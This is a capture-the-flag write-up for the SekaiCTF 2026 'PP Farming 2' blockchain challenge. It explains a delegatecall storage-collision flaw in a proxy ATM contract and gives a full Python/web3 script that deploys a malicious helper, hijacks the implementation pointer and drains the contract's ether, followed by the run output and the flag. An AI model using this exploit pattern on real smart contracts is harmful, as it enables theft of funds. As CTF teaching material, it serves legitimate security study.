SEKAICTF 2026 - PP Farming 2 - Blockchain Writeup

[!NOTE] CTF CHALLENGE OVERVIEW

CTF Event: SekaiCTF 2026

Category: Writeup

Difficulty: [MEDIUM]

Tools Used: Python 3

Author / Writeup: LIGHT

Flag: SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}

Description: I fixed the issue. I think…

The attachment was an AES-encrypted ZIP. The note gave the password from the first challenge, so I tested it with 7z before looking at the contracts.

1
7z t -p'SEKAI{3Z_re3ntr4ncy_atTack5}' '/home/LIGHT/CTF/pp-farming-2/blockchain_pp-farming-2.zip'

1
Testing archive: /home/LIGHT/CTF/pp-farming-2/blockchain_pp-farming-2.zip
2
--
3
Path = /home/LIGHT/CTF/pp-farming-2/blockchain_pp-farming-2.zip
4
Type = zip
5
Physical Size = 3890
6

7
Everything is Ok
8

9
Files: 2
10
Size:       3450
11
Compressed: 3890

The deployment script creates a PerformancePointHelper and a PerformancePointATM funded with 10 ether. The challenge is solved when the ATM balance is zero.

1
PerformancePointHelper helper = new PerformancePointHelper();
2
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));

The ATM stores the helper address in slot 1, because scores is the mapping at slot 0 and performancePointHelper is the next state variable.

1
mapping(address => uint256) public scores;
2
address public performancePointHelper;
3
bool public locked;

The obvious reentrancy path was blocked with a locked modifier, and direct fallback calls to processWithdrawal(address,uint256) were rejected. But the fallback still delegatecalled any other selector into the helper.

1
fallback() external payable {
2
    address _impl = performancePointHelper;
3

4
    bytes4 selector = msg.sig;
5

6
    // Block withdrawing without proxy
7
    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
8
    require(selector != initSelector, "processWithdrawal blocked");
9

10
    assembly {
11
        let ptr := mload(0x40) // Get free memory pointer
12
        calldatacopy(ptr, 0, calldatasize()) // Copy calldata to memory
13

14
        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) // Delegatecall
15
        returndatacopy(ptr, 0, returndatasize()) // Copy return data
16

17
        if iszero(success) {
18
            revert(ptr, returndatasize()) // Revert if delegatecall failed
19
        }
20
        return(ptr, returndatasize()) // Return data if successful
21
    }
22
}

That made PerformancePointHelper.setATM(address) dangerous. A normal call to setATM changes atm in the helper, but a delegatecall through the ATM writes to the ATM’s slot 1 instead. Slot 1 is performancePointHelper, so calling setATM(evil) through fallback replaces the helper implementation.

1
function setATM(address _atm) public {
2
    atm = _atm;
3
}

The replacement helper kept the same first three storage variables so the layout matched the original helper, and its processWithdrawal sent address(this).balance. Under delegatecall, address(this) is the ATM, so a single withdrawal drains the whole contract instead of the caller’s score.

1
import os
2
from solcx import compile_source, set_solc_version, install_solc
3
from web3 import Web3
4

5

6
ATM_ABI = [
7
    {"inputs": [], "name": "withdrawPP", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
8
    {"inputs": [{"internalType": "address", "name": "_to", "type": "address"}], "name": "donatePP", "outputs": [], "stateMutability": "payable", "type": "function"},
9
    {"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"},
10
    {"inputs": [], "name": "performancePointHelper", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
11
]
12

13
EVIL_SOURCE = r'''
14
// SPDX-License-Identifier: MIT
15
pragma solidity ^0.8.20;
16

17
contract EvilHelper {
18
    uint256 id_number;
19
    address public atm;
20
    bool public helping;
21

22
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
23
        (bool success, ) = recipient.call{value: address(this).balance}("");
24
        return success;
25
    }
26
}
27
'''
28

29

30
def require_env(name: str) -> str:
31
    value = os.environ.get(name)
32
    if not value:
33
        raise SystemExit(f"Missing required env var: {name}")
34
    return value
35

36

37
def send(w3, account, tx):
38
    tx.setdefault("from", account.address)
39
    tx.setdefault("nonce", w3.eth.get_transaction_count(account.address))
40
    tx.setdefault("chainId", w3.eth.chain_id)
41
    if "maxFeePerGas" not in tx and "maxPriorityFeePerGas" not in tx:
42
        try:
43
            tx.setdefault("gasPrice", w3.eth.gas_price)
44
        except Exception:
45
            pass
46
    if "gas" not in tx:
47
        tx["gas"] = int(w3.eth.estimate_gas(tx) * 1.3)
48
    signed = account.sign_transaction(tx)
49
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
50
    receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
51
    if receipt.status != 1:
52
        raise RuntimeError(f"Transaction failed: {tx_hash.hex()}")
53
    return receipt
54

55

56
def main():
57
    rpc_url = require_env("RPC_URL")
58
    private_key = require_env("PRIVATE_KEY")
59
    atm_address = Web3.to_checksum_address(require_env("ATM_ADDRESS"))
60

61
    w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={
62
        "timeout": 30,
63
        "headers": {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"},
64
    }))
65
    account = w3.eth.account.from_key(private_key)
66
    print("player", account.address)
67
    print("atm", atm_address)
68
    print("initial_balance", w3.eth.get_balance(atm_address))
69

70
    try:
71
        set_solc_version("0.8.20")
72
    except Exception:
73
        install_solc("0.8.20", show_progress=False)
74
        set_solc_version("0.8.20")
75

76
    compiled = compile_source(EVIL_SOURCE, output_values=["abi", "bin"])
77
    _, iface = next(iter(compiled.items()))
78
    evil_contract = w3.eth.contract(abi=iface["abi"], bytecode=iface["bin"])
79
    receipt = send(w3, account, evil_contract.constructor().build_transaction({"from": account.address}))
80
    evil = Web3.to_checksum_address(receipt.contractAddress)
81
    print("evil", evil)
82

83
    atm = w3.eth.contract(address=atm_address, abi=ATM_ABI)
84

85
    selector = Web3.keccak(text="setATM(address)")[:4]
86
    calldata = selector + bytes.fromhex(evil[2:].rjust(64, "0"))
87
    send(w3, account, {"to": atm_address, "data": calldata})
88
    print("helper_after_overwrite", atm.functions.performancePointHelper().call())
89

90
    send(w3, account, atm.functions.donatePP(account.address).build_transaction({"from": account.address, "value": 1}))
91
    send(w3, account, atm.functions.withdrawPP().build_transaction({"from": account.address}))
92

93
    final_balance = w3.eth.get_balance(atm_address)
94
    solved = atm.functions.isSolved().call()
95
    print("final_balance", final_balance)
96
    print("isSolved", solved)
97
    if not solved:
98
        raise SystemExit("Exploit transaction completed but challenge is not solved")
99

100

101
if __name__ == "__main__":
102
    main()

The remote instance used 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff as the ATM. The exploit deployed the malicious helper at 0xfCbd6b0693907F450509128e8701f037D74a7bA8, changed the ATM helper pointer to that address, donated 1 wei, and called withdrawPP().

1
RPC_URL='https://eth.chals.sekai.team/wamLUbTHyhRUYRzQxJGWvbuu/main' PRIVATE_KEY='<redacted>' ATM_ADDRESS='0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff' python solve_remote.py

1
player 0x2eeF6349B0E355b3A2Fe55F7777720d1e4481748
2
atm 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff
3
initial_balance 10000000000000000000
4
evil 0xfCbd6b0693907F450509128e8701f037D74a7bA8
5
helper_after_overwrite 0xfCbd6b0693907F450509128e8701f037D74a7bA8
6
final_balance 0
7
isSolved True

After isSolved returned true, pressing the challenge’s get-flag button returned SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}.